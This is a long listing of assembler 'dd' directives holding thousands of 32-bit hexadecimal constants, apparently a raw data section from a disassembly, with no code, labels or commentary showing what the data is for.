dd 2FECE149h, 2E801A9Eh, 0F6F79B8Fh, 0E41858E0h, 0C15CBDAAh
dd 0C38B251Ah, 0E140117Eh, 3D87CC6Ch, 1D8B207Ah, 3B04EB25h
dd 5FDBB85Eh, 0EC800D9Bh, 5B1ECCB5h, 7127CF2Eh, 4AB50515h
dd 956FD8C4h, 1037F26h, 0B12F3220h, 68E72A58h, 54E1DDA0h
dd 40F79500h, 50539BFBh, 84D94EB1h, 0C94580A5h, 19977DD2h
dd 8DD93101h, 975B6C64h, 30108B7h, 0A678E609h, 2F200178h
dd 0D958D17h, 0B8A92756h, 1C00CCB8h, 36A1D62Bh, 0B8501A89h
dd 8222E223h, 442D702h, 1DC1DF4h, 0F8CB8454h, 6025D687h
dd 0B2C4F09Bh, 0CADE0349h, 7F8E34C0h, 85A0FCF1h, 5F833315h
dd 0B766EBCh, 71CE0375h, 0F8019325h, 408091A2h, 8E35E9ECh
dd 0F41AC0EFh, 0DC6C7C1Ch, 3E35A5FAh, 95BCB23Dh, 0A0CD6569h
dd 0DBE790C1h, 0B36157D6h, 2B590020h, 3049248Dh, 21794212h
dd 2AEC255Ah, 0BBB99ACh, 1415B50h, 0AE3C4DE4h, 30F5A263h
dd 2538969h, 3DCE4099h, 206F2441h, 0DBEE1FCCh, 0D7B8EC00h
dd 47783D39h, 9FEA2471h, 0CC31B665h, 53A42BFEh, 7D4BABEh
dd 80345AEFh, 81901479h, 542B5D6Bh, 0A6EBE51h, 45F6E204h
dd 854DC702h, 1580433h, 800F031Eh, 4B33760Ch, 0ADF43189h
dd 29C9482Ah, 0FD2E3AB4h, 21C42DDCh, 470246E3h, 0F1FCD7B9h
dd 3798893Ah, 471A8005h, 186A7943h, 2365AEC5h, 6AFF9774h
dd 9DD92448h, 4D95D104h, 103F104h, 25ED8529h, 16A24426h
dd 25FE4030h, 75C350D8h, 37AA2E69h, 188680ECh, 4C256463h
dd 0A8FDDC1Bh, 5FF4A4A4h, 0B9AD5D95h, 80519B4Ah, 0EEE72D8Ch
dd 1FA1FE73h, 4027214h, 0A11D9D89h, 1A4292F8h, 181C6EBEh
dd 81FF718Dh, 0A2A703C1h, 0D3E97AE6h, 41A0275Ah, 176BB8D6h
dd 0DB6A61CFh, 0A351C7E1h, 413578E9h, 679420Eh, 15C70927h
dd 0AF28D9DBh, 0D10940B7h, 0E451A4h, 9B9F84E8h, 0F0BC6627h
dd 0B31D9640h, 0D5190E1Ah, 74A1B4C3h, 7D6AA97Bh, 7F93BC49h
dd 87D10BE7h, 0E2062729h, 0DB95E76Dh, 0F03C7024h, 0F95C6D04h
dd 65ED8D09h, 576DA87Ch, 649100CAh, 0C58A69A3h, 2DE06DBEh
dd 0C08B2812h, 0CC28BB6Fh, 7AFB5AF4h, 0EED10FBh, 6AEA5784h
dd 0F8112042h, 68B585E6h, 2D002FA2h, 5AEBE3B7h, 897DAA78h
dd 0F373AB1Dh, 265D4042h, 0DCDAF6BFh, 2070A2FAh, 0F28B621Ah
dd 65B0F6E2h, 32A2C203h, 0F1558209h, 52F6092Eh, 0E802864h
dd 0A0184E9Ch, 9B2404F4h, 356A782Eh, 70B58801h, 42058EDAh
dd 88498D3Ah, 418C0F54h, 8572D780h, 759D8B16h, 33163AE2h
dd 87BB87Ch, 610BA995h, 840E8B0Fh, 8D016041h, 7C4C8EE9h
dd 61264D22h, 0F99D9790h, 0C0BDCD6Fh, 0F072E251h, 0A006B2C8h
dd 2F7528A1h, 9D332567h
dd 54491076h, 0D5ADEC5h, 18B25AE6h, 1939F630h, 0F71742CEh
dd 4EFCC68Dh, 6DB58982h, 6BD12504h, 29D40253h, 0A19458Dh
dd 2015088Eh, 99314125h, 899D0910h, 2CD0864h, 38C9ED9Bh
dd 3A308CE1h, 0CDC23120h, 40D39C90h, 543FBA4Fh, 0CB7D5B00h
dd 0BFED3A33h, 803A9950h, 5630D219h, 904A0779h, 7A837BDBh
dd 1A894E3Ah, 0ADD442B6h, 0CD272D56h, 6B9C1CEh, 0BD33F487h
dd 17167D20h, 0E20DFFE9h, 7C3DC4C6h, 0C3CA9A24h, 9C96BC94h
dd 0F20037F2h, 0AB80F677h, 0C0058D8h, 0B8403E7Eh, 93E1ACCBh
dd 0B161783Dh, 0F675C524h, 24E59D13h, 0C6E1E340h, 0A8B79DE7h
dd 5F180280h, 12A3EDD6h, 24B47740h, 9B5195E9h, 46D8C020h
dd 250B35BFh, 2A6C4393h, 5BD39A0h, 45887594h, 364C2522h
dd 11E922h, 4331367Ch, 0D6BD6D83h, 324C7300h, 0EC8B5FA3h
dd 0CC425F88h, 0BD7729DAh, 88BE619Ch, 8F02840Fh, 0B5225DB3h
dd 3D7F0A59h, 88D50E9Bh, 15606C41h, 0C080CC5Ah, 0F8372B4Bh
dd 61BA8265h, 1304D95h, 636C49E9h, 518D310Ch, 0E8E0B0FBh
dd 11E0944h, 186DF473h, 0D4252770h, 0BD5FFCh, 35E4D72Eh
dd 27D412Ah, 0F4DEDFD4h, 235B1C99h, 0D207AA42h, 0B3C85007h
dd 0BDC49761h, 73971598h, 8529092Fh, 0C18B6768h, 128DBB3Ch
dd 42EF3DA9h, 3CDBF00h, 0AFB69A78h, 0D1C82B0Bh, 0EA5100C5h
dd 0C989CAFFh, 8B4A660Ah, 0D106D1D8h, 24AA5753h, 0BA65BFEh
dd 1DC929B5h, 0A041520h, 0C81631B9h, 2300799Bh, 4B01933Eh
dd 1E6E76h, 0D2965205h, 57BB27F7h, 226D5919h, 5C3D8568h
dd 96DD9050h, 60BF260Ch, 2F74AEC7h, 10716427h, 7BC4F20h
dd 0B7924703h, 0F07A207Eh, 812CC01Bh, 0BB24855Fh, 88D68D16h
dd 3E2BE012h, 3B40919Dh, 75BED051h, 6E8C2BCEh, 175369E9h
dd 0EB816EB0h, 0B0D7E50Eh, 3CC7C77Bh, 743F7C22h, 890F6255h
dd 0D04E5A46h, 2A843091h, 0BD958910h, 9825FF96h, 2CF810Bh
dd 6F0B1FCBh, 2985A583h, 8D1881FEh, 79890214h, 0D9C425F3h
dd 9926B5FEh, 601C850Fh, 0BAD35967h, 8061F383h, 6A42FE5h
dd 1D0AE9h, 0D48AD1B1h, 8250F936h, 6ECB602Dh, 0BCB597D7h
dd 8B603E02h, 0E34AC0DAh, 61D90D47h, 7AEAFAB9h, 271E26Fh
dd 0CC6F5DABh, 7CFE4538h, 3510BFC8h, 9DFCB740h, 0D012F3B7h
dd 0FCD97504h, 49DF9CDBh, 1957B8E5h, 2C23584h, 0BC40D22Bh
dd 331AADDEh, 805CD1C2h, 7504E90Eh, 401DBCF4h, 0D68F330Eh
dd 0FAEC5D00h, 28C1A416h, 0D6B017Ah, 0FB1039D0h, 86AF47CBh
dd 31393588h, 0F6D95595h, 51B94E1h, 2398D81Ch, 7CA18D19h
dd 0A76D9F2Dh, 0BC9BC6E0h, 4AFC042Fh, 0C1B8C4FAh, 141488D1h
dd 542420FAh, 34FC9830h, 86792700h, 80F1C575h, 5B9316D7h
dd 180DF050h, 8C10337h, 608A958Eh, 800F5819h, 664FC104h
dd 2FAE26BBh, 0CE80D8DBh, 5B43C9CCh, 0DF36B205h, 0CDC15AB3h
dd 222F0611h, 0B82519F9h, 40B17598h, 0E7E28D15h, 51204F41h
dd 0FF054025h, 0B94CE162h, 0A7F41922h, 46437BBh, 807FACE9h
dd 1A62CB9Dh, 14030A4h, 20628ADFh, 0FC030F11h, 5F8A9A86h
dd 2CC0B7EDh, 4F2E4E0h, 33609161h, 0A057EA9Dh, 7AC007E8h
dd 0D3B2E6F3h, 49A0D48h, 606159F2h, 0C326EABh, 0F03814B7h
dd 6944EA99h, 8DE5437h, 14E8D910h, 0A14B508Ch, 92F704E7h
dd 0DB04E180h, 0A26C265h, 8DBB82C9h, 80ACBD01h, 595F011Fh
dd 0DCD3C8B9h, 6517A04h, 29E858E9h, 0DC02FEFEh, 0E5853077h
dd 2EB66DDh, 0A1962311h, 940F476h, 331707ADh, 0B4402985h
dd 0E0E7EF81h, 504A121Eh, 0A618958Ah, 0F0F3E3AEh, 2929A9Dh
dd 0B509576Ch, 0F8021A11h, 4009726Ah, 90BF5221h, 0FD4C91h
dd 0E1F16AD8h, 5BC69BA0h, 0FB36807h, 8F342E64h, 0CC8AAAh
dd 1913ECE4h, 1BDD7Ch, 5A228F3Fh, 9E14ADA9h, 24348101h
dd 2E7B0C4Ch, 7EB9AA29h, 8DCDAE94h, 132AA971h, 998E0402h
dd 169EAA2Dh, 0D5CA8380h, 330B1836h, 98548A51h, 1F96ADC4h
dd 0CB2578BBh, 7304F3B8h, 5F534702h, 25AFD019h, 0E3EDE7F8h
dd 7B7F38E0h, 0B3D9958Ah, 1BAE904h, 7AC159DEh, 20F58243h
dd 9DD69D6Ah, 19255304h, 180BC70Eh, 0F6018B19h, 0A15040FAh
dd 35279D18h, 45C8A51Bh, 9954B259h, 6FFFE4C3h, 0AB480089h
dd 314FB320h, 8D7E5C9Ah, 41C4335Bh, 5EC4A758h, 2E0E3F6h
dd 0B3053035h, 0BE9E5B5Fh, 849DBB83h, 0F630DA49h, 495C8D09h
dd 44685E5h, 0BB8D6BDh, 96185A1Dh, 0FFA64EB9h, 77E13EF0h
dd 0D2949F16h, 0C615A5A1h, 0CDC0D09Bh, 12E31071h, 686DCC07h
dd 0B930C07Ch, 988159B3h, 4383022Fh, 8DF846B6h, 1864634Dh
dd 58B89760h, 0BB556C00h, 5DE31ECAh, 789B090h, 13BF6650h
dd 19378935h, 886F5980h, 259E6ACFh, 808AE6BFh, 876CBFDh
dd 0D38D1CDCh, 0C005D231h, 0C2DB80F0h, 376E614Ah, 9AA56418h
dd 0F402BBFBh, 0C734209Ah, 0D107E685h, 28BDB02Fh, 0CF0216D3h
dd 416D7CF0h, 0D6832006h, 423C615Ch, 2D7B59E1h, 0D821F35Eh
dd 0CB161988h, 1608293Fh, 4FE90B0Ah, 5FDA4873h, 8EE2D381h
dd 1E5F731Dh, 9D4062EAh, 0BFDB44Ch, 9DD295BDh, 30505F07h
dd 4407110Ch, 0E8C10130h, 0EA4F510h, 894C1FC4h, 0DC485803h
dd 366EEBE7h, 6421F036h, 1BB170CFh, 28299A50h, 58180621h
dd 57016813h, 5903491Bh, 0D4AA80C0h, 2B96C277h, 8503B8F6h
dd 7B958635h, 36BF5091h, 8880204h, 85A014DFh, 0AE828219h
dd 452925h, 5F03FC89h, 28012C3Dh, 1B2D9D8Bh, 13478404h
dd 80FEE82Fh, 0A2EFDCD6h, 80510089h, 3FAD42BCh, 0B0B26E1h
dd 0D4C40754h, 0AEAB042Dh, 4DDF05Fh, 419AEBBCh, 993B615Dh
dd 106C710h, 330484E1h, 0F8A0219Dh, 8E0F2C96h, 14B741BDh
dd 0F2B52150h, 49377Dh, 312AF5Bh, 0A56659Dh, 0CBB65F71h
dd 52E2D0E3h, 0B77D907Dh, 39902DEh, 5BBA1B92h, 2A098081h
dd 81315BE4h, 0BB66387Ah, 9B5920CDh, 0CCB8B569h, 104A7204h
dd 7C4009E9h, 0F4A230DEh, 0F9C7120Ah, 963AE017h, 9A05B915h
dd 5F6F3165h, 0A8A08512h, 760D22ADh, 64D2709h, 0C486A2C8h
dd 72DE3AE1h, 4B55E393h, 6EAEBB34h, 82800A7h, 94CC8B7Fh
dd 5C517009h, 0A45A256Dh, 8313F853h, 1BC04C2h, 205089C2h
dd 0E3B569ECh, 0B3894C32h, 0A20CD412h, 322F2013h, 0B8FE6CB3h
dd 931A911Fh, 0C48C32EAh, 7EA14761h, 3C7ADD52h, 2347E1Fh
dd 0B0C1DC10h, 1610960h, 856C3185h, 81C2040Ah, 0BF3AF9DEh
dd 0CD12FEFEh, 0E821500Ch, 46972434h, 67288420h, 0E2F22660h
dd 7468D5BDh, 0EB068161h, 6D6AAECAh, 90115E60h, 0DF9BDBCh
dd 5446F89Ch, 82605FC5h, 2B001DE1h, 0CD2EC595h, 8885504Fh
dd 271E5925h, 3B00A064h, 359352F0h, 2DC812C7h, 0CE44F253h
dd 0EEA37300h, 30E71FD7h, 31BB0095h, 0ED703EAEh, 592A438Dh
dd 2E7F1761h, 639BAB00h, 0DF8DB139h, 0C2381C03h, 465ECA1Fh
dd 0F380417Eh, 7DE0881Eh, 13C22802h, 48783D3h, 0CACD9BF6h
dd 789A4B56h, 7CA6580h, 4C047EAAh, 53F20ECFh, 0C07427AFh
dd 0C2E5CF9h, 0C0057400h, 1E3E94CBh, 0C3810015h, 326B02B0h
dd 1019BF5Bh, 71B12052h, 9BCB126Eh, 8E30825Ah, 90EAFE03h
dd 226E580Bh, 302149C2h, 6BF10228h, 0FFCD3D62h, 0D986D5C0h
dd 564C01FCh, 0AEFE7ABBh, 9D9A421Dh, 7890E7F2h, 251EB520h
dd 7F73C6F9h, 669ED0h, 0C6AEC941h, 93BCBFB4h, 0E5200B98h
dd 85C7130Dh, 705BEC71h
dd 6455EF9Dh, 0FDA98392h, 23E9590Bh, 0F40476F3h, 0C44DDC05h
dd 0C3B19005h, 130C1C9h, 0CF61D0D5h, 9B73957Bh, 0E2FE8B09h
dd 0E0BA4D5Dh, 0F1A9965Bh, 1E2661Fh, 0BF4CF4C0h, 6C169323h
dd 0DF76546Ah, 648D0BCBh, 0D6BF0049h, 0B52957DEh, 90CD1F11h
dd 8CC09E5Fh, 523797E8h, 0CDCE0A80h, 781C13Fh, 0DF7DB4CFh
dd 2DCB600Ch, 644FF2E5h, 0FC158620h, 0AF460068h, 0A08C7017h
dd 9409BF1Ch, 78B5A9B2h, 8EA1A006h, 58920718h, 1B9D0156h
dd 905B0322h, 4D0A807Fh, 8006F921h, 0ACA1585Ah, 1476FED8h
dd 973DE10h, 1DBD0B61h, 0DE5EE4E3h, 209D5D98h, 0D09002DDh
dd 92CF6948h, 0FE6FBBh, 88571F87h, 97F88FC7h, 1D91FF35h
dd 0AD506A80h, 6F024515h, 0F6286D44h, 57888C23h, 8DFA388Bh
dd 0F23BA3DEh, 1C16301Ah, 3027551Ch, 0D1FF93C4h, 63A203BCh
dd 35D22B27h, 287B3218h, 1D61150h, 0C95BD03Fh, 420A6730h
dd 0C65550DDh, 855E5EF9h, 8974F296h, 3E195D61h, 0E5CC3ADDh
dd 89035890h, 0B29B2520h, 3051B584h, 0B8A0E904h, 8C0AE1CDh
dd 0F729C304h, 745EFB9Ah, 8DCF4BDCh, 6E202E95h, 0EFF8E3h
dd 54F40CAEh, 55C2DE3Eh, 0F96A4590h, 0BB8171B5h, 3B2F6FC3h
dd 53E205h, 1E549449h, 1F5B4853h, 8E0FB5C1h, 55F26160h
dd 3F069084h, 3F402559h, 5FC44E80h, 0E780E200h, 3894BDCBh
dd 0C86C01FDh, 0CA8D2A7Dh, 2FC73EBFh, 0D1B6FE40h, 565F6414h
dd 96A9B990h, 0A803DF08h, 98F84BB5h, 0BF05FCA6h, 127B268h
dd 0FB2764EBh, 64860C4h, 0FF6A092Ch, 5B809137h, 894CE084h
dd 75780BEBh, 7FF84D87h, 3BBB2D96h, 0CFA05C6Dh, 957A9206h
dd 553D100h, 9DD38275h, 0F640D09Ch, 2C66B85h, 0B38197AFh
dd 0C35C5BC7h, 435412C4h, 0B058F45Bh, 6A02BFE0h, 0E6324298h
dd 288FFF70h, 0BAA271CBh, 0EC77246Dh, 547997D0h, 0C9B96164h
dd 4CADF29h, 0AAF5C8B6h, 58BF648Ch, 894850F8h, 0FC161116h
dd 0C4B38419h, 9DD742FAh, 0EC57198Dh, 90550148h, 8603ED36h
dd 5AC83E6Fh, 0C7C84B2Bh, 7A562909h, 3D03B23Dh, 0FC8A2202h
dd 99D614E2h, 0BD9D2B82h, 4B845229h, 87B85DFh, 0F59A01FDh
dd 2433A814h, 72F88B09h, 0E921447Eh, 1241344h, 224E067Eh
dd 0DCA564E3h, 481E9995h, 43023151h, 795B23C4h, 98626CEh
dd 2B74D4E2h, 0E335626Dh, 377F222Bh, 0A5A5FC27h, 3DFE150Ah
dd 0B3D91780h, 386D2316h, 4D1E715Dh, 0CBBBC0A0h, 328B05C1h
dd 12B723B8h, 914F831Ah, 0E60D4902h, 98CCA4Ah, 0F5E8187Bh
dd 739FF737h, 531D95h, 50218AACh, 7F9981Ah, 9314D0D2h
dd 15A760B7h, 0F52ED617h, 0C912EE66h, 1E5FA2E2h, 0E14D92E8h
dd 247B3FAFh, 0E5050273h, 0D26B95Dh, 1FE63DDDh, 806F012Dh
dd 8FDC922Ah, 696A8AA0h, 916C077Ch, 2CA971C9h, 1E850874h
dd 10F1D83Bh, 8C4A2649h, 48BD8599h, 99BAF80Ch, 0C8E8871h
dd 0ADBC8845h, 4A8FA9D3h, 9B5F8CCFh, 0FF8480A6h, 0FD33E4h
dd 0E161465h, 2B59509h, 3938BF80h, 894B0B26h, 0E5C82EA1h
dd 0D59B0025h, 32E7C19Dh, 390694BCh, 8F4104Ch, 0E8D2734h
dd 3C82F71Ah, 0B25C2AADh, 93C781E0h, 207325A3h, 0DB6979C5h
dd 85D47096h, 40C4512Dh, 1224BB14h, 0E2133902h, 0C63D8971h
dd 0A712053h, 0C2FDE581h, 0E6356105h, 0C727EB04h, 53CB7DB8h
dd 2E40EA5Eh, 362FC87h, 0DF1CC020h, 18995CD8h, 285BC592h
dd 0E1FF0A19h, 2A169529h, 958B53DDh, 19D4049Bh, 0B28304F4h
dd 81D639AEh, 58150D4Fh, 0CC830133h, 9FEC89B9h, 6E1F8804h
dd 99C4FE25h, 0DBE032AEh, 1651C05Ch, 3F60FC11h, 9880569Bh
dd 6F0B8F1Eh, 943E6A00h, 0BD2B8063h, 3E1C4539h, 0AAC05D9Eh
dd 79FDDF27h, 4B58DC38h, 8D298F80h, 0B4C9D205h, 14F4F79h
dd 0BAA422A7h, 4060B7C2h, 99022131h, 252490D8h, 9C8C4661h
dd 526625D4h, 0BB0B567Ah, 905F0527h, 20A7D9E4h, 514A358Eh
dd 0D9886435h, 836C960h, 0D725E6D0h, 0DE2CDE61h, 0B8CFA60Ah
dd 510BBDA0h, 0D1819009h, 0F0298104h, 15F90879h, 1806EFAh
dd 0BFA67F8Dh, 19E1E6BEh, 12E98A31h, 3872E802h, 1F03FF1Ch
dd 0D0A5DC32h, 31CDEA6Ch, 0B3578B63h, 0B087DB01h, 4AAB4189h
dd 0F9BF6FA0h, 4509D175h, 50FD8A58h, 9B6FB564h, 21BA406Eh
dd 66B060h, 0E0576733h, 5C59531h, 29EDBB92h, 58CC4A47h
dd 0DE109F60h, 0A200D60Ah, 0D1DDE2EAh, 16A380BEh, 0CD867A65h
dd 0ED716067h, 0E96100E7h, 0BFDB9F9h, 0A2293585h, 8BA03B59h
dd 602CB7F2h, 27185803h, 9761D123h, 2EFB4331h, 24FD3F35h
dd 4205ADB8h, 9F2272F4h, 499221AFh, 358C3B41h, 1602726Bh
dd 94DAF1B5h, 0EE34AF05h, 2E6CBCC0h, 5F542DE4h, 8A257946h
dd 9780C6D9h, 0ADEAD6E4h, 0CEA99D03h, 573D380h, 0F96006AAh
dd 3870929h, 362B112h, 0C9B7942Ah, 41EF3D58h, 21EF9A4h
dd 0A545595Bh, 0A8897A42h, 7300E6F9h, 0F1392302h, 0BF73996h
dd 598EE601h, 0F96AAB3Ah, 80426CB4h, 0AC8374E2h, 31A53DB9h
dd 0F2472380h, 5FDE0512h, 93615C2Dh, 1225AACAh, 51DBE529h
dd 1EAA478h, 7EB556D4h, 0EEB6CE25h, 89D846C1h, 36243568h
dd 0DFFD25ACh, 0A1616FD4h, 0F6404711h, 3F1319C0h, 4182D414h
dd 9565247Bh, 0AA15C798h, 544EEAF4h, 0CA4DA520h, 2CDD077Fh
dd 195FA8C0h, 4A5D519h, 0AD806FFCh, 494ECF8Ch, 91B7BC09h
dd 0D8DE125Fh, 8DC64A4Dh, 0C561E947h, 4DB3A58h, 0B8232584h
dd 0B589C1BFh, 0A86906D5h, 4DA7DE21h, 2142404Ah, 0EB056698h
dd 947905FFh, 0F428AD05h, 12005BA2h, 0E55827EDh, 0A8004972h
dd 4470DF84h, 9B7CFFCCh, 81D264Fh, 61041871h, 95E853F8h
dd 7C15CA80h, 73032439h, 0D88B591Ah, 81B88C5Bh, 45B509B0h
dd 1495239Ah, 9D3E705Ch, 49D05153h, 27E976EFh, 4D90B06Ah
dd 44F25D5Ch, 8EF4FE00h, 0FABCD83Fh, 0A1952A89h, 5DE948B6h
dd 0B8D98B84h, 4794EB3Ch, 481BF18h, 0AA0B01F1h, 37610A70h
dd 0AEA482B0h, 0A4E1633Bh, 85110ADAh, 0DE206540h, 0A6ADDC2Dh
dd 75D224F3h, 57FC5642h, 0F1110269h, 520F540Eh, 8909D74Ch
dd 0E82349BDh, 8127A5BBh, 38352E61h, 0EBE4DDB6h, 9401F88h
dd 46421761h, 0BFA0BC59h, 0C63F1125h, 7003BB5Bh, 0C2010F76h
dd 4916695Ch, 5C89FD54h, 0D80132D8h, 239636F4h, 0DB1500B6h
dd 2B03C00Dh, 13394C4Fh, 53505B09h, 0D5EEDBE4h, 0A7934405h
dd 0A2BC849Fh, 967E09D2h, 3DCD37Eh, 85AC6FBDh, 2A9F339h
dd 9C6B2E47h, 0F4001B23h, 0ABA2F1ADh, 0FB382632h, 0C4691681h
dd 0C39AAC6Ch, 0B4FD9D33h, 6ED71ABDh, 4A804D87h, 9B3D6BDDh
dd 0B5E62EA9h, 0F3816602h, 675C0EAFh, 0B19D8B60h, 73AB71Eh
dd 0B0804BB7h, 1660179Fh, 0A05D04C2h, 8450D7C7h, 19CBBB8Ah
dd 53C25F25h, 4DCDB7Eh, 0D98D01C4h, 0A5B09717h, 0B82AAD20h
dd 0C5D52793h, 8756CE1Ah, 0DC8BD469h, 0D148A00h, 8409A153h
dd 0AE9226Eh, 466FBB5h, 0B814BD4Bh, 0B6A75FB1h, 3CC900B5h
dd 49EC7A0Bh, 202DCD90h, 0D72727A8h, 888DFEF4h, 0F0FDA66Eh
dd 0E7C6623h, 0D7640560h, 0E3BFC165h, 3DAD4CF6h, 22E60396h
dd 0BC503555h, 19D6EFFh, 0B74A1307h, 2A3A67A6h, 94748480h
dd 0A9D3CCB8h, 1AFB841h, 99295110h, 6B7F03F4h, 413DABF0h
dd 613E3402h, 45FA1497h, 0F1C26A12h, 8A500124h, 626C28D9h
dd 742BF946h, 0AE0457F6h, 0D3B8F838h, 19BD29C1h, 3E305904h
dd 8200B1B3h, 38A4DF18h
dd 500085EDh, 362371BEh, 3C033B0Eh, 20CA7DF4h, 192A0163h
dd 2C48527h, 0A1A45DAh, 0A8D80136h, 2E5B61BDh, 0F26BBD75h
dd 0B0149773h, 78893A45h, 89732B09h, 1F789BA3h, 55D0A2BBh
dd 62237F27h, 0C6052D75h, 71FEDF49h, 79F06988h, 53E92BC4h
dd 0B04B6CB8h, 0C7BF1C31h, 601AE41Eh, 83D09h, 0C9114B7Ah
dd 24659D2Bh, 0B1C5FB95h, 11BD118h, 0F5C95090h, 504970A8h
dd 2EF805FFh, 4C489D31h, 9A2FC740h, 0ECEE9E8h, 3A0B892Bh
dd 2F7D8604h, 0E2506104h, 8D9B005Ah, 0A2F94831h, 0A14F03A3h
dd 63C3EA2Dh, 0C22879A8h, 16112F5Ch, 53FB2173h, 0E085B660h
dd 92923B2h, 46A6CEBBh, 0D1446D5Ch, 104D26EFh, 46FDA5F3h
dd 0C78102FCh, 4C58BC0Ch, 35E9D556h, 0CA689FAFh, 12D962B1h
dd 0DE50C832h, 48E4C607h, 2EB5B2h, 21190EC4h, 521C0085h
dd 0BD2BD1FFh, 67951D69h, 513B11F2h, 2A0DC917h, 19C8F2CFh
dd 0FCFB83C0h, 0EEFB016h, 50FAD380h, 6492C234h, 0E95690D4h
dd 96950E8Eh, 9AD12FC7h, 82D05ADBh, 7AA50028h, 746DD8C6h
dd 0B5792964h, 9D0490B9h, 9EAA0235h, 0E99882A4h, 9D87614h
dd 8E565BFAh, 4E1A46D6h, 5FE90232h, 0EB0CFE6Eh, 7290B1BDh
dd 390D1DBBh, 0F87BA5Bh, 0D973ED3Bh, 0BDCC67Ch, 860F3A28h
dd 834278E4h, 0E9FC25Fh, 230BE802h, 0D5D8E5C9h, 0EC046693h
dd 2D8D5F95h, 0EDA111FFh, 19329779h, 16A637DFh, 1F8EC1B6h
dd 61EA609Fh, 60343297h, 9F0DB929h, 0DE6988D9h, 6A27D43Dh
dd 0AD75D9ECh, 1C655FF8h, 548CFF53h, 822900B8h, 2E41457Fh
dd 0CA6F2C5Fh, 772A209Eh, 5813229Eh, 111672F7h, 0E862BD18h
dd 2F8C4841h, 27CCDA25h, 890F11F5h, 205A8832h, 1F3D7654h
dd 176D8D00h, 29582B5Eh, 0D21A1AE2h, 43D7B0h, 70E6D614h
dd 990B1EB0h, 0F9A07112h, 91394B24h, 0C013129h, 4534B829h
dd 41950D21h, 2A0ED5ACh, 203FF2D9h, 12DCAB9Bh, 0CE605F07h
dd 0FC5254Bh, 0BB8220AAh, 202C9703h, 60255174h, 0BD8D314Ah
dd 4E5AA829h, 0C82BDF12h, 0A4038B08h, 4B49162Fh, 80924513h
dd 1F986475h, 0D6615A57h, 55F388D1h, 6F28FC00h, 9FDA0321h
dd 82E72491h, 0F038025Ch, 73D9E949h, 0DF54D701h, 0ED60424Ah
dd 0ED254FC5h, 0B0788021h, 9747E6EEh, 997630Ah, 0DE562221h
dd 15955E4Bh, 5B25B8A5h, 122C62C9h, 0E57BC151h, 0E95F3586h
dd 449F1B78h, 141F0038h, 0D531980h, 20068A8h, 44EAF4BAh
dd 18DA267Eh, 48327264h, 69D60A19h, 51CB7CECh, 0E5DB9B18h
dd 80EED33Dh, 0C060914Eh, 76675Ch, 1C3EA262h, 0DEB768FDh
dd 34C5F71h, 0E6B57091h, 28842299h, 0A36FA794h, 2803F985h
dd 483DA52Bh, 0E7092FFEh, 3BDC8919h, 4BD9AA4Ch, 107B8A1Dh
dd 8159272Ah, 3FA3E55Ah, 0B6C52F9Bh, 0E6D630E5h, 0A725D421h
dd 0BF67CE06h, 44251F35h, 538025ABh, 0B17795E4h, 852A6500h
dd 28637CD7h, 1CD6049Ch, 0A40817B9h, 2F4BE1BEh, 0BA305389h
dd 0DE1841B1h, 0D970F35Bh, 43A500E3h, 4F6DF597h, 5995870Fh
dd 0A79A407Ah, 91C3BBCh, 0E3EEC02Bh, 277C5969h, 0EF8BA5E1h
dd 89F7EFA0h, 0CD5BE825h, 6735A775h, 209F780h, 4F87F5D1h
dd 80229BCDh, 0F3EE7BDh, 0CBD704FAh, 0B8F8494Dh, 16F938Eh
dd 0A8C8EB13h, 1E34C0DAh, 4FED6DB3h, 0F94B75F5h, 0E66EA9D3h
dd 0C4D7007Ah, 0FD8414BFh, 26BAB30Ch, 1E6D096Bh, 535A815Ch
dd 5095535Eh, 0B2924069h, 81F6F4F0h, 5E638AA0h, 0AB359F05h
dd 4BB2DBFh, 92AE1E5h, 44F471F9h, 0C7804147h, 0F7C2B814h
dd 0B69C94BDh, 7FC14F8Bh, 5010888Eh, 4ED2DF6Ch, 0B938CADh
dd 1A04E1ADh, 64BB4005h, 976546C6h, 9D44FE14h, 0D91497F5h
dd 7520AA45h, 0BF1BC071h, 1056C278h, 44BA1497h, 0E9FA2B5Ch
dd 74198BB7h, 7C02DEE1h, 0FAADDF57h, 0B1B682EDh, 0B8F40C03h
dd 4725812h, 0B62FC1E1h, 0CED7E087h, 0F1664E10h, 39983F54h
dd 14FD209Dh, 0DBCB8B95h, 0A6BC70DEh, 630E6E13h, 7C4F3C0Fh
dd 0EBE42592h, 0AE73BD69h, 7D09D8h, 0BF7C13A1h, 725B5D67h
dd 9D66CE95h, 2740244Dh, 26F44354h, 17B9E380h, 19CB8C81h
dd 342E2D41h, 0F3D8AF0Fh, 0D36554BDh, 26519D90h, 39920900h
dd 2EC80AE2h, 9B9F53Bh, 5138E954h, 6813AA02h, 0F8F05B52h
dd 0ED744AB7h, 75D9208Fh, 0DAF96B90h, 212625Eh, 608D23B3h
dd 0DBF33F40h, 3CBE0860h, 2465C995h, 7E178A13h, 0AC006DB2h
dd 0F4A34180h, 360003DDh, 0EC34C62Eh, 1456483h, 615E22D8h
dd 2B49B750h, 0EFA0245Bh, 52121F7Eh, 738C95FDh, 1A26B77Ah
dd 0BF60315Ah, 7A9C26F6h, 79379729h, 4A1CDD00h, 1218D99Ah
dd 0A35BF957h, 0CF8103D8h, 0F54CB66Eh, 5EF2BDB1h, 0CB5CE902h
dd 0E9742701h, 0FBC201EBh, 2A5D7862h, 63FE6D0Eh, 0DC440432h
dd 0A99305BCh, 0E21EBC3Dh, 0CD4D4B75h, 5A6E6A16h, 53EB1931h
dd 35302F1Bh, 4A45BD33h, 0D76EE201h, 0B8A09BE6h, 91BC0689h
dd 0F0E43ADCh, 86F3A6E1h, 76E326F5h, 12C4DF4Bh, 0D024C6Bh
dd 0B2C147BFh, 6B6063C1h, 0BBCF9B20h, 21821DC3h, 413A8058h
dd 3CE4AA55h, 0EC849700h, 2373DBB3h, 4B70BEh, 665E4013h
dd 610F56B9h, 2942AEB6h, 0EB4CD515h, 0D9F8DD01h, 0BD9F56AEh
dd 6C275EC2h, 0D301CBE6h, 3BFE68CCh, 0EE74241h, 5E38014Ch
dd 30726FF7h, 0FC94D07Ch, 7A6348A3h, 72091D27h, 70A5B259h
dd 90F48833h, 78BB0066h, 12BF50FAh, 0EEEB052Ah, 0E705FF3h
dd 0B2780292h, 4DECBE05h, 0C7007E66h, 6E418544h, 7F1353F7h
dd 1862CB6h, 9EE51569h, 6A735F25h, 61181459h, 2690F6DFh
dd 0B407384Ch, 0DB38A39Eh, 809879B7h, 9518F18h, 6CC51EAEh
dd 5C0038C4h, 0EDF1BED0h, 4AB5EB44h, 0A82C3271h, 9D801E57h
